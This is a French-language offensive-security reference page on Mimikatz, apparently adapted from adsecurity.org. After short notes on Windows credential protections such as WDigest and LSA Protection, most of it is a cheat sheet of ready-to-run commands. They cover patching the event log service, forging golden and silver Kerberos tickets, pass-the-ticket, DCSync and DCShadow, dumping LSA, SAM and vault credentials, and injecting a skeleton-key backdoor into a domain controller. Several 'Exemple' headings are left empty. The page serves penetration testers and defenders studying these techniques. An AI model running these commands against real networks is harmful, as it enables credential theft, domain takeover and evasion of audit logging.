Mimikatz
Cette page est basée sur une page de adsecurity.org. Consultez l'original pour plus d'informations !
LM et texte en clair en mémoire
À partir de Windows 8.1 et de Windows Server 2012 R2, des mesures significatives ont été mises en place pour protéger contre le vol d'informations d'identification :
Les hachages LM et les mots de passe en clair ne sont plus stockés en mémoire pour renforcer la sécurité. Un paramètre de registre spécifique, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential", doit être configuré avec une valeur DWORD de
0
pour désactiver l'authentification Digest, garantissant que les mots de passe "en clair" ne sont pas mis en cache dans LSASS.La Protection LSA est introduite pour protéger le processus Autorité de sécurité locale (LSA) contre la lecture non autorisée de la mémoire et l'injection de code. Cela est réalisé en marquant le LSASS comme un processus protégé. L'activation de la Protection LSA implique :
La modification du registre à HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa en définissant
RunAsPPL
surdword:00000001
.La mise en œuvre d'un objet de stratégie de groupe (GPO) qui impose ce changement de registre sur les appareils gérés.
Malgré ces protections, des outils comme Mimikatz peuvent contourner la Protection LSA en utilisant des pilotes spécifiques, bien que de telles actions soient susceptibles d'être enregistrées dans les journaux d'événements.
Contrebalancer la suppression de SeDebugPrivilege
Les administrateurs ont généralement le privilège SeDebug, ce qui leur permet de déboguer des programmes. Ce privilège peut être restreint pour empêcher les vidages mémoire non autorisés, une technique courante utilisée par les attaquants pour extraire des informations d'identification de la mémoire. Cependant, même avec ce privilège supprimé, le compte TrustedInstaller peut toujours effectuer des vidages mémoire en utilisant une configuration de service personnalisée :
Cela permet de copier la mémoire de lsass.exe
dans un fichier, qui peut ensuite être analysé sur un autre système pour extraire les informations d'identification :
Options de Mimikatz
La manipulation des journaux d'événements dans Mimikatz implique deux actions principales : effacer les journaux d'événements et patcher le service Événement pour empêcher l'enregistrement de nouveaux événements. Voici les commandes pour effectuer ces actions :
Effacement des journaux d'événements
Commande : Cette action vise à supprimer les journaux d'événements, rendant plus difficile le suivi des activités malveillantes.
Mimikatz ne fournit pas de commande directe dans sa documentation standard pour effacer directement les journaux d'événements via sa ligne de commande. Cependant, la manipulation des journaux d'événements implique généralement l'utilisation d'outils système ou de scripts en dehors de Mimikatz pour effacer des journaux spécifiques (par exemple, en utilisant PowerShell ou l'Observateur d'événements Windows).
Fonction expérimentale : Patch du service Événement
Commande :
event::drop
Cette commande expérimentale est conçue pour modifier le comportement du service de journalisation des événements, empêchant efficacement l'enregistrement de nouveaux événements.
Exemple :
mimikatz "privilege::debug" "event::drop" exit
La commande
privilege::debug
garantit que Mimikatz fonctionne avec les privilèges nécessaires pour modifier les services système.La commande
event::drop
patche ensuite le service de journalisation des événements.
Attaques de Tickets Kerberos
Création de Golden Ticket
Un Golden Ticket permet l'usurpation d'identité à l'échelle du domaine. Commande clé et paramètres :
Commande :
kerberos::golden
Paramètres :
/domain
: Le nom de domaine./sid
: L'identifiant de sécurité (SID) du domaine./user
: Le nom d'utilisateur à usurper./krbtgt
: Le hachage NTLM du compte de service KDC du domaine./ptt
: Injecte directement le ticket en mémoire./ticket
: Enregistre le ticket pour une utilisation ultérieure.
Exemple :
Création de Ticket Silver
Les Tickets Silver accordent l'accès à des services spécifiques. Commande clé et paramètres :
Commande : Similaire au Golden Ticket mais cible des services spécifiques.
Paramètres :
/service
: Le service à cibler (par exemple, cifs, http).Autres paramètres similaires au Golden Ticket.
Exemple :
Création de Ticket de Confiance
Les Tickets de Confiance sont utilisés pour accéder à des ressources entre domaines en exploitant les relations de confiance. Commande clé et paramètres :
Commande : Similaire au Golden Ticket mais pour les relations de confiance.
Paramètres :
/target
: Le FQDN du domaine cible./rc4
: Le hachage NTLM du compte de confiance.
Exemple :
Commandes Kerberos Supplémentaires
Liste des Tickets:
Commande:
kerberos::list
Liste tous les tickets Kerberos pour la session utilisateur actuelle.
Passer le Cache:
Commande:
kerberos::ptc
Injecte les tickets Kerberos à partir des fichiers cache.
Exemple:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Passer le Ticket:
Commande:
kerberos::ptt
Permet d'utiliser un ticket Kerberos dans une autre session.
Exemple:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Purger les Tickets:
Commande:
kerberos::purge
Efface tous les tickets Kerberos de la session.
Utile avant d'utiliser des commandes de manipulation de tickets pour éviter les conflits.
Manipulation de l'Annuaire Actif
DCShadow: Faire temporairement agir une machine comme un DC pour la manipulation d'objets AD.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Imiter un DC pour demander des données de mot de passe.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
Accès aux Informations d'Identification
LSADUMP::LSA: Extraire les informations d'identification de LSA.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Imiter un DC en utilisant les données de mot de passe d'un compte d'ordinateur.
Aucune commande spécifique fournie pour NetSync dans le contexte original.
LSADUMP::SAM: Accéder à la base de données SAM locale.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Décrypter les secrets stockés dans le registre.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Définir un nouveau hachage NTLM pour un utilisateur.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Récupérer les informations d'authentification de confiance.
mimikatz "lsadump::trust" exit
Divers
MISC::Skeleton: Injecter une porte dérobée dans LSASS sur un DC.
mimikatz "privilege::debug" "misc::skeleton" exit
Élévation de Privilèges
PRIVILEGE::Backup: Acquérir des droits de sauvegarde.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Obtenir des privilèges de débogage.
mimikatz "privilege::debug" exit
Extraction d'Informations d'Identification
SEKURLSA::LogonPasswords: Afficher les informations d'identification des utilisateurs connectés.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Extraire les tickets Kerberos de la mémoire.
mimikatz "sekurlsa::tickets /export" exit
Manipulation de SID et de Jeton
SID::add/modify: Changer le SID et SIDHistory.
Ajouter:
mimikatz "sid::add /user:targetUser /sid:newSid" exit
Modifier: Aucune commande spécifique pour modifier dans le contexte original.
TOKEN::Elevate: Imiter des jetons.
mimikatz "token::elevate /domainadmin" exit
Services Terminal
TS::MultiRDP: Autoriser plusieurs sessions RDP.
mimikatz "ts::multirdp" exit
TS::Sessions: Liste des sessions TS/RDP.
Aucune commande spécifique fournie pour TS::Sessions dans le contexte original.
Coffre-fort
Extraire les mots de passe du coffre-fort Windows.
mimikatz "vault::cred /patch" exit
Last updated